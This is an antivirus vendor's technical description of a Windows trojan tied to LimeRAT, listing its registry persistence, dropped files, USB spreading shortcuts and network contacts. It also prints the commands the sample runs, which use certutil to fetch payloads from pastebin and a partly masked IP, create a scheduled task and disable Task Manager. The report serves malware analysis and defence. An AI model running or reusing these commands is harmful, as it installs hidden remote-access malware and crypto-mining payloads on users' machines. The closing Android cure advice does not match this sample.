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Trojan.Siggen18.34345

Added to the Dr.Web virus database: 2022-08-11

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [<HKCU>\software\microsoft\windows\currentversion\run] 'main' = '"%APPDATA%\AppData\Flash Player\\main.vbs"'
  • [<HKLM>\software\microsoft\windows\currentversion\run] 'main' = '"%APPDATA%\AppData\Flash Player\\main.vbs"'
  • [<HKCU>\software\microsoft\windows\currentversion\run] 'backup' = '"%APPDATA%\AppData\Flash Player\\backup.vbs"'
  • [<HKLM>\software\microsoft\windows\currentversion\run] 'backup' = '"%APPDATA%\AppData\Flash Player\\backup.vbs"'
  • [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Windows Logons' = '%WINDIR% (x86)\explorer.exe'
  • [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Windows Updates' = '%APPDATA%\AppData\Windows Updates\winupdate.exe'
Creates or modifies the following files
  • %APPDATA%\microsoft\windows\start menu\programs\startup\main.vbs
  • %APPDATA%\microsoft\windows\start menu\programs\startup\backup.vbs
  • %APPDATA%\microsoft\windows\start menu\programs\startup\microsoft.exe
  • <SYSTEM32>\tasks\limerat-admin
Creates the following files on removable media
  • <Drive name for removable media>:\backup.vbs
  • <Drive name for removable media>:\roozenedowebinar.lnk
  • <Drive name for removable media>:\iso27k_isms_implementation_and_certification_process_overview_v2.lnk
  • <Drive name for removable media>:\gruenspecht_02172016.lnk
  • <Drive name for removable media>:\middaugh_keynote.lnk
  • <Drive name for removable media>:\metac.lnk
  • <Drive name for removable media>:\ksearch_esa_talk.lnk
  • <Drive name for removable media>:\writingcompletesarnarrative_1103.lnk
  • <Drive name for removable media>:\ppswamp.lnk
  • <Drive name for removable media>:\bg_search_box.lnk
  • <Drive name for removable media>:\arrow-down.lnk
  • <Drive name for removable media>:\dissolveanother.lnk
  • <Drive name for removable media>:\block.lnk
  • <Drive name for removable media>:\background.lnk
  • <Drive name for removable media>:\tunpersonalca1.lnk
  • <Drive name for removable media>:\cert.lnk
  • <Drive name for removable media>:\systisoft.lnk
  • <Drive name for removable media>:\hhhlcert.lnk
  • <Drive name for removable media>:\delongcacert.lnk
  • <Drive name for removable media>:\ck_ugo.lnk
  • <Drive name for removable media>:\lom602.lnk
  • <Drive name for removable media>:\bc01.lnk
  • <Drive name for removable media>:\2015-02-patients-topic-work-related-asthma-jobs.lnk
  • <Drive name for removable media>:\video.lnk
  • <Drive name for removable media>:\indogerman2010.lnk
  • <Drive name for removable media>:\swc_2009-03-02.lnk
  • <Drive name for removable media>:\backup.lnk
  • <Drive name for removable media>:\taxus_baccata.lnk
  • <Drive name for removable media>:\productos.lnk
  • <Drive name for removable media>:\removedtitles_records.lnk
  • <Drive name for removable media>:\contractualdeadlines.lnk
  • <Drive name for removable media>:\national_autism_preparation_programs.lnk
  • <Drive name for removable media>:\al.lnk
  • <Drive name for removable media>:\2013_smccc_competition_points_jul2013.lnk
  • <Drive name for removable media>:\highly_cited_2001.lnk
  • <Drive name for removable media>:\suspendedcompanies.lnk
  • <Drive name for removable media>:\guide_reorganization_mapping.lnk
  • <Drive name for removable media>:\price030215.lnk
  • <Drive name for removable media>:\calculatorworksheet.lnk
  • <Drive name for removable media>:\1sm_price.lnk
  • <Drive name for removable media>:\passport_pal.lnk
  • <Drive name for removable media>:\flower_trans_matte.lnk
  • <Drive name for removable media>:\krsweden.lnk
  • <Drive name for removable media>:\phytoremediation.lnk
  • <Drive name for removable media>:\pandp.lnk
  • <Drive name for removable media>:\router_manual.lnk
  • <Drive name for removable media>:\waterlandhealthkano.lnk
  • <Drive name for removable media>:\static_electricity_easy_and_quick_activities.lnk
  • <Drive name for removable media>:\fungalnameauthors.lnk
  • <Drive name for removable media>:\contenttypes.lnk
  • <Drive name for removable media>:\sioc.lnk
  • <Drive name for removable media>:\clip_480_5sec_6mbps_h264.lnk
  • <Drive name for removable media>:\foaf.lnk
  • <Drive name for removable media>:\51.lnk
  • <Drive name for removable media>:\issi2013_template_for_posters.lnk
  • <Drive name for removable media>:\aoc_saq_d_v3_merchant.lnk
  • <Drive name for removable media>:\glidescope_review_rev_010.lnk
  • <Drive name for removable media>:\hadac_newsletter_july_2010_final.lnk
  • <Drive name for removable media>:\lisp_success.lnk
  • <Drive name for removable media>:\february_catalogue__2015.lnk
  • <Drive name for removable media>:\cveuropeo.lnk
  • <Drive name for removable media>:\ovp25012015.lnk
  • <Drive name for removable media>:\applicantform_en.lnk
  • <Drive name for removable media>:\508softwareandos.lnk
  • <Drive name for removable media>:\sdksampleprivdeveloper.lnk
  • <Drive name for removable media>:\contosoroot_1.lnk
  • <Drive name for removable media>:\testcertificate.lnk
  • <Drive name for removable media>:\contoso_1.lnk
  • <Drive name for removable media>:\default.lnk
  • <Drive name for removable media>:\dial.lnk
  • <Drive name for removable media>:\toolbar.lnk
  • <Drive name for removable media>:\dashborder_96.lnk
  • <Drive name for removable media>:\main.vbs
  • <Drive name for removable media>:\dashborder_192.lnk
  • <Drive name for removable media>:\dashborder_144.lnk
  • <Drive name for removable media>:\split.lnk
  • <Drive name for removable media>:\delete.lnk
  • <Drive name for removable media>:\correct.lnk
  • <Drive name for removable media>:\nwfieldnotes1966.lnk
  • <Drive name for removable media>:\file_p_00000000_1371597592.lnk
  • <Drive name for removable media>:\spanner.lnk
  • <Drive name for removable media>:\thlps_keeper_mayer_1965.lnk
  • <Drive name for removable media>:\pushkin.lnk
  • <Drive name for removable media>:\2.lnk
  • <Drive name for removable media>:\3.lnk
  • <Drive name for removable media>:\4f0bf7ff71f28.lnk
  • <Drive name for removable media>:\210252809.lnk
  • <Drive name for removable media>:\168.lnk
  • <Drive name for removable media>:\1189.lnk
  • <Drive name for removable media>:\about.lnk
  • <Drive name for removable media>:\howto-index.lnk
  • <Drive name for removable media>:\adadsi.lnk
  • <Drive name for removable media>:\api-hashmap.lnk
  • <Drive name for removable media>:\browse.lnk
  • <Drive name for removable media>:\ituneshelpunavailable.lnk
  • <Drive name for removable media>:\advice_process.lnk
  • <Drive name for removable media>:\iisstart.lnk
  • <Drive name for removable media>:\trivial-merge.lnk
  • <Drive name for removable media>:\utorrent.lnk
  • <Drive name for removable media>:\notepad.lnk
  • <Drive name for removable media>:\calc.lnk
  • <Drive name for removable media>:\chromesetup.lnk
  • <Drive name for removable media>:\tcm851ax32.lnk
  • <Drive name for removable media>:\skypesetup.lnk
  • <Drive name for removable media>:\adhd_and_obesity.lnk
  • <Drive name for removable media>:\etc6_m_1.lnk
  • <Drive name for removable media>:\main.lnk
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Task Manager (Taskmgr)
Executes the following
  • '<SYSTEM32>\taskkill.exe' /IM taskmgr.exe /F
  • '<SYSTEM32>\taskkill.exe' /IM xmrig.exe /F
Modifies file system
Creates the following files
  • %TEMP%\d133.tmp\d134.bat
  • %APPDATA%\appdata\flash player\main.vbs
  • %APPDATA%\appdata\flash player\backup.vbs
  • %TEMP%\8dec.tmp\8e2c.bat
  • %TEMP%\updatew\main.vbs
  • %TEMP%\updatew\clsio.vbs
  • %TEMP%\updatew\backup.vbs
  • %APPDATA%\appdata\windows updates\winupdate.exe
  • %TEMP%\updatew\windowsapp.exe
  • %TEMP%\updatew\winlogon.exe
  • %TEMP%\updatew\microsoft.exe
  • %TEMP%\ie.exe
  • %TEMP%\windowscheck_182352115_log.bat
  • %TEMP%\veriu.bat
  • %TEMP%\dd_vcredist_windows_check_31029441313.log
  • %TEMP%\updatew\winupdate.exe
  • %APPDATA%\appdata\windows protector\winlogon.exe
Sets the 'hidden' attribute to the following files
  • %APPDATA%\appdata\flash player\backup.vbs
  • %APPDATA%\appdata\flash player\main.vbs
  • <Drive name for removable media>:\backup.vbs
  • <Drive name for removable media>:\main.vbs
  • %APPDATA%\appdata\windows updates\winupdate.exe
Deletes the following files
  • %TEMP%\veriu.bat
  • %TEMP%\windowscheck_182352115_log.bat
  • %TEMP%\d133.tmp\d134.bat
  • %TEMP%\updatew\backup.vbs
  • %TEMP%\updatew\main.vbs
  • %TEMP%\updatew\winlogon.exe
  • %APPDATA%\microsoft\windows\start menu\programs\startup\backup.vbs
  • %APPDATA%\microsoft\windows\start menu\programs\startup\main.vbs
  • %TEMP%\updatew\microsoft.exe
  • %TEMP%\updatew\winupdate.exe
Substitutes the following files
  • %TEMP%\veriu.bat
Network activity
Connects to
  • 'pa###bin.com':443
  • 'microsoft.com':80
  • '54.##4.238.33':8380
  • 'nv####der.mooo.com':18632
  • 'nv####der.mooo.com':16029
TCP
HTTP GET requests
  • http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
  • http://54.###.238.33:8380/IE.exe via 54.##4.238.33
Other
  • 'pa###bin.com':443
UDP
  • DNS ASK pa###bin.com
  • DNS ASK microsoft.com
  • DNS ASK nv####der.mooo.com
  • DNS ASK uk####8425.ddns.net
  • DNS ASK uk#####425.ddnsking.com
  • DNS ASK uk######25.3utilities.com
  • DNS ASK uk#####425.bounceme.net
  • DNS ASK uk#######5.freedynamicdns.net
Miscellaneous
Searches for the following windows
  • ClassName: 'EDIT' WindowName: ''
  • ClassName: '' WindowName: ''
Creates and executes the following
  • '%TEMP%\ie.exe'
  • '%TEMP%\updatew\windowsapp.exe'
  • '%TEMP%\updatew\winlogon.exe'
  • '%APPDATA%\appdata\windows protector\winlogon.exe'
  • '<SYSTEM32>\cmd.exe' /c "%TEMP%\D133.tmp\D134.bat <Full path to file>"' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c "%TEMP%\8DEC.tmp\8E2C.bat %TEMP%\updateW\windowsapp.exe"' (with hidden window)
  • '%WINDIR%\syswow64\schtasks.exe' /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'%APPDATA%\AppData\Windows Protector\winlogon.exe'"' (with hidden window)
Executes the following
  • '<SYSTEM32>\cmd.exe' /c "%TEMP%\D133.tmp\D134.bat <Full path to file>"
  • '<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData"
  • '<SYSTEM32>\wbem\wmic.exe' process where name='Microsoft.exe' delete
  • '<SYSTEM32>\wbem\wmic.exe' process where name='winupdate.exe' delete
  • '<SYSTEM32>\reg.exe' ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Windows Logons" /t REG_SZ /F /D "%WINDIR% (x86)\explorer.exe"
  • '<SYSTEM32>\reg.exe' ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Windows Updates" /t REG_SZ /F /D "%APPDATA%\AppData\Windows Updates\winupdate.exe"
  • '<SYSTEM32>\attrib.exe' -s -h "%APPDATA%\AppData\Windows Updates"
  • '<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Windows Protector\*.*"
  • '<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Windows Protector"
  • '<SYSTEM32>\attrib.exe' -s -h "%APPDATA%\AppData\Windows Updates\*.*"
  • '<SYSTEM32>\xcopy.exe' "%TEMP%\updateW\Microsoft.exe" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" /K /D /H /Y
  • '<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Windows Updates\*.*"
  • '<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Windows Updates"
  • '<SYSTEM32>\wbem\wmic.exe' process where ExecutablePath='C:\\Windows (x86)\\explorer.exe' delete
  • '<SYSTEM32>\wbem\wmic.exe' process where ExecutablePath='C:\\Windows (x86)\\PolicyDefinitions\\en-US\\regedit.exe' delete
  • '<SYSTEM32>\attrib.exe' -s -h "%WINDIR% (x86)\*.*"
  • '<SYSTEM32>\attrib.exe' -s -h "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\*.*"
  • '<SYSTEM32>\xcopy.exe' "%TEMP%\updateW\winupdate.exe" "%APPDATA%\AppData\Windows Updates" /K /D /H /Y
  • '<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Flash Player\"
  • '<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Flash Player\*.*"
  • '<SYSTEM32>\wscript.exe' "%APPDATA%\AppData\Flash Player\main.vbs"
  • '<SYSTEM32>\find.exe' /c "ECHO OK" "%TEMP%\VERIU.BAT"
  • '<SYSTEM32>\cmd.exe' /c del "<Current directory>\"%TEMP%\VERIU.BAT""
  • '<SYSTEM32>\wbem\wmic.exe' process where name='taskmgr.exe' delete
  • '<SYSTEM32>\wbem\wmic.exe' process where name='xmrig.exe' delete
  • '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\certutil.exe' -urlcache -split -f https://pastebin.com/raw/03Gje1tb "%TEMP%\windowscheck_182352115_log.bat"
  • '<SYSTEM32>\find.exe' /c "set active" "%TEMP%\windowscheck_182352115_log.bat"
  • '<SYSTEM32>\certutil.exe' -urlcache -split -f https://pastebin.com/raw/gGQgTLmg "%TEMP%\VERIU.BAT"
  • '<SYSTEM32>\certutil.exe' -urlcache -split -f "http://54.###.238.33:8380/IE.exe" %TEMP%\IE.exe
  • '<SYSTEM32>\cmd.exe' /c "%TEMP%\8DEC.tmp\8E2C.bat %TEMP%\updateW\windowsapp.exe"
  • '<SYSTEM32>\cmd.exe' /c del "%TEMP%\updateW\"%TEMP%\VERIU.BAT""
  • '<SYSTEM32>\attrib.exe' -s -h "%APPDATA%\AppData\Flash Player\*.*"
  • '<SYSTEM32>\attrib.exe' -s -h "%APPDATA%\AppData\Flash Player\"
  • '<SYSTEM32>\xcopy.exe' "%TEMP%\updateW\backup.vbs" "%APPDATA%\AppData\Flash Player" /K /D /H /Y
  • '<SYSTEM32>\xcopy.exe' "%TEMP%\updateW\main.vbs" "%APPDATA%\AppData\Flash Player" /K /D /H /Y
  • '<SYSTEM32>\wscript.exe' "%APPDATA%\AppData\Flash Player\backup.vbs"
  • '<SYSTEM32>\cmd.exe' /c del "<Current directory>\"%TEMP%\windowscheck_182352115_log.bat""
  • '<SYSTEM32>\certutil.exe' -urlcache -split -f "http://54.###.238.33:8380/xm/win.com" "%TEMP%\updateW\win.com"
  • '%WINDIR%\syswow64\schtasks.exe' /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'%APPDATA%\AppData\Windows Protector\winlogon.exe'"

Curing recommendations

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
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